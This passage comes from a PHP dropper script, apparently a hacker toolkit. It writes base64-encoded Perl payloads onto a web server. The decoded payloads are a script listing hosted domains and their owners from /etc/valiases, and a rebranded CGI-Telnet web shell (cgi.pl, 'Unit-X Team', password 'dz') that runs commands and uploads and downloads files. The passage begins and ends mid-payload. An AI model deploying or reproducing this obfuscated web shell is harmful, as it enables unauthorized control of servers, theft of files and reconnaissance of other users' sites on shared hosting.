9ZWxzZXsKcHJpbnQgJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD4KPHAgY2xhc3M9InN0eWxlMSI+SDNyMyAhcyA0MTEgRDBtNCFucyAmYW1wOyBVczNycyA6PC9wPgonO30KZm9yZWFjaCBteSAkb25lIChAa3IpCnsKaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7Lyl7CiRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kMTsKJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwpwcmludCAnPHAgY2xhc3M9InN0eWxlMSI+Jy4kMS4nIDogJy4kb3duZXIuJzwvcD4KJzsKfQp9CnByaW50JzwvYm9keT48L2h0bWw+JzsK
');
$write = fwrite ($file ,$sa);
$file = fopen($dir."cgi.pl" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExp
Y2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9y
IE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJp
Z2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNl
LCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29w
eXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUg
c2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxk
IGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUt
bWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0
YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20v
CiMgU2NyaXB0IEhvbWVwYWdlOiBtYWlsdG86VU5JVFhfVEVBTUBIT1RNQUlMLkNPTQojIFByb2R1
Y3QgU3VwcG9ydDogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9zdXBwb3J0LwojIERpc2N1c3Npb24g
Rm9ydW06IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vZGlzY3Vzcy8KIyBNYWlsaW5nIExpc3Q6IGh0
dHA6Ly93d3cucm9oaXRhYi5jb20vbWxpc3QvCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0KIyBJbnN0YWxsYXRpb24KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoj
IFRvIGluc3RhbGwgdGhpcyBzY3JpcHQKIwojIDEuIE1vZGlmeSB0aGUgZmlyc3QgbGluZSAiIyEv
dXNyL2Jpbi9wZXJsIiB0byBwb2ludCB0byB0aGUgY29ycmVjdCBwYXRoIG9uCiMgICAgeW91ciBz
ZXJ2ZXIuIEZvciBtb3N0IHNlcnZlcnMsIHlvdSBtYXkgbm90IG5lZWQgdG8gbW9kaWZ5IHRoaXMu
CiMgMi4gQ2hhbmdlIHRoZSBwYXNzd29yZCBpbiB0aGUgQ29uZmlndXJhdGlvbiBzZWN0aW9uIGJl
bG93LgojIDMuIElmIHlvdSdyZSBydW5uaW5nIHRoZSBzY3JpcHQgdW5kZXIgV2luZG93cyBOVCwg
c2V0ICRXaW5OVCA9IDEgaW4gdGhlCiMgICAgQ29uZmlndXJhdGlvbiBTZWN0aW9uIGJlbG93Lgoj
IDQuIFVwbG9hZCB0aGUgc2NyaXB0IHRvIGEgZGlyZWN0b3J5IG9uIHlvdXIgc2VydmVyIHdoaWNo
IGhhcyBwZXJtaXNzaW9ucyB0bwojICAgIGV4ZWN1dGUgQ0dJIHNjcmlwdHMuIFRoaXMgaXMgdXN1
YWxseSBjZ2ktYmluLiBNYWtlIHN1cmUgdGhhdCB5b3UgdXBsb2FkCiMgICAgdGhlIHNjcmlwdCBp
biBBU0NJSSBtb2RlLgojIDUuIENoYW5nZSB0aGUgcGVybWlzc2lvbiAoQ0hNT0QpIG9mIHRoZSBz
Y3JpcHQgdG8gNzU1LgojIDYuIE9wZW4gdGhlIHNjcmlwdCBpbiB5b3VyIHdlYiBicm93c2VyLiBJ
ZiB5b3UgdXBsb2FkZWQgdGhlIHNjcmlwdCBpbgojICAgIGNnaS1iaW4sIHRoaXMgc2hvdWxkIGJl
IGh0dHA6Ly93d3cueW91cnNlcnZlci5jb20vY2dpLWJpbi9jZ2l0ZWxuZXQucGwKIyA3LiBMb2dp
biB1c2luZyB0aGUgcGFzc3dvcmQgdGhhdCB5b3Ugc3BlY2lmaWVkIGluIFN0ZXAgMi4KIy0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENvbmZpZ3VyYXRpb246
IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXIK
IyB2YWx1ZXMgc2hvdWxkIHdvcmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLgojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tCiRQYXNzd29yZCA9ICJkeiI7CQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVk
IHRvIGVudGVyIHRoaXMKCQkJCSMgdG8gbG9naW4uCgokV2luTlQgPSAwOwkJCSMgWW91IG5lZWQg
dG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCSMgeW91J3JlIHJ1bm5pbmcg
dGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5u
aW5nIGl0IG9uIFVuaXgsIHlvdQoJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoK
JE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIg
Y29tbWFuZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21k
U2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFu
ZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0
aW9uID0gMTAwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
ZAoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJ
CSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCSMgdGFrZSB2
ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4KCQkJCSMgVGhpcyBpcyB2YWxpZCBv
bmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoK
JFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2Vu
dCB0byB0aGUKCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNl
CgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCSMgY29t
cGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQoJCQkJIyBwaW5nLCBzbyB0
aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVk
LgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05P
VyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAk
VW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAg
PSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAx
PiYyIiA6ICIgMT4mMSAyPiYxIik7CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmVhZHMgdGhl
IGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVz
LiBJdAojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1
c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57
J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4KIyBPdGhlciB2
YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0
aGUgbmFtZSBvZgojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlz
IGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJCiMgc2NyaXB0cy4KIy0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLQpzdWIgUmVhZFBhcnNlCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2Nh
bCAoJGksICRsb2MsICRrZXksICR2YWwpOwoKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NP
TlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoK
CWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVF
UllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikK
CXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVh
ZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxl
IHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3Jt
LWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFz
ZSByZWZlciB0byBSRkMxODY3CgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsKCQkk
SGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsK
CQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRo
ZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRC
b2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsKCQkkaW57J2YnfSA9ICQxOwoJ
CSRpbnsnZid9ID1+IHMvXCIvL2c7CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBwYXJzZSB0
cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7CgkJCSRsaXN0WyRpXSA9fiBz
L14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsK
CQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQp
Ly9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtl
eX0gPSAkdmFsOwoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVk
LCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRp
ICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkg
PSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhl
eCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkk
aW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49
ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1M
IFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMg
c2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIK
ewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIg
PX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRl
bnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0
bGU+VW5pdC1YIFRlYW08L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8Ym9keSBvbkxv
YWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIw
IiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPHRhYmxl
IGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+
Cjx0cj4KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0i
Y2VudGVyIj4KPGI+PGZvbnQgY29sb3I9IiMwMDAwODAiIHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwv
dGQ+Cjx0ZCBiZ2NvbG9yPSIjMDAwMDgwIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIiBj
b2xvcj0iIzAwOTkwMCI+PGI+Q0dJLVRlbG5ldCBVbml0LXggVGVhbSBDb25uZWN0ZWQgdG8gJFNl
cnZlck5hbWU8L2I+PC9mb250PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGJnY29s
b3I9IiNDMkJGQTUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPgo8YSBocmVmPSIkU2Ny
aXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9h
PiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50
RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291
dCI+RGlzY29ubmVjdDwvYT4gfAo8YSBocmVmPSJVTklUWF9URUFNQEhPVE1BSUwuQ09NIj5IZWxw
PC9hPgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgY29sb3I9IiMwMDk5MDAiIHNp
emU9IjMiPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4g
U2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJJE1l
c3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiNmZjAwMDAiPiBfX19fXyAgX19fX18gIF9fX19f
ICAgICAgICAgIF9fX19fICAgICAgICBfICAgICAgICAgICAgICAgXwovICBfXyBcfCAgX18gXHxf
ICAgX3wgICAgICAgIHxfICAgX3wgICAgICB8IHwgICAgICAgICAgICAgfCB8CnwgLyAgXC98IHwg
IFwvICB8IHwgICBfX19fX18gICB8IHwgICAgX19fIHwgfCBfIF9fICAgIF9fXyB8IHxfCnwgfCAg
ICB8IHwgX18gICB8IHwgIHxfX19fX198ICB8IHwgICAvIF8gXHwgfHwgJ18gXCAgLyBfIFx8IF9f
fAp8IFxfXy9cfCB8X1wgXCBffCB8XyAgICAgICAgICAgfCB8ICB8ICBfXy98IHx8IHwgfCB8fCAg
X18vfCB8XwogXF9fX18vIFxfX19fLyBcX19fLyAgICAgICAgICAgXF8vICAgXF9fX3x8X3x8X3wg
fF98IFxfX198IFxfX3wgMS4wCgo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAg
ICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4
MzAwIj6pIDIwMDMsIFVuaXQtWCBUZWFtPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAg
ICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAg
LyAgIFVOSVQtWCAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAg
ICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXyko
IHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8g
ICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19f
X19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzAw
OTkwMCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwqRVZJTCp8PC9mb250Pjxmb250
IGNvbG9yPSIjMDA5OTAwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48
Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250
IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5AOEA4PC9m
b250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+
Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxNQVNURVIvLXw8L2Zv
bnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2Zv
bnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAv
CiAgICAgICAoQCAgICAgICAgICAgYC0tLS0tLS0tYAogICAgICAgICAgICAgPC9mb250Pjxmb250
IGNvbG9yPSIjQUU4MzAwIj5XIEEgUiBOIEkgTiBHOiBQcml2YXRlIFNlcnZlcjwvZm9udD48L3By
ZT4KJDsKIycKCXByaW50IDw8RU5EOwo8Y29kZT4KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPgpD
b25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+CkVzY2FwZSBjaGFyYWN0ZXIgaXMgXl0KPGNvZGU+
JE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3Nh
Z2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29k
ZT4KPGJyPmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+
PGJyPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBI
VE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRM
b2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBP
U1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
YSIgdmFsdWU9ImxvZ2luIj4KbG9naW46IGFkbWluPGJyPgpwYXNzd29yZDo8aW5wdXQgdHlwZT0i
cGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8
L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhl
IGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmlu
dFBhZ2VGb290ZXIKewoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7Cn0KCiMtLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhl
IGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycn
fQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9
IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBj
b29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2ll
c3skaWR9ID0gJHZhbDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUg
c2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIg
UHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIjxjb2RlPkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZv
cmVpZ24gaG9zdC48YnI+PGJyPjwvY29kZT4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMg
TG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2ll
OiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFk
ZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCSZQcmludExvZ2luU2NyZWVuOwoJJlByaW50
TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoj
IFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dv
cmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8g
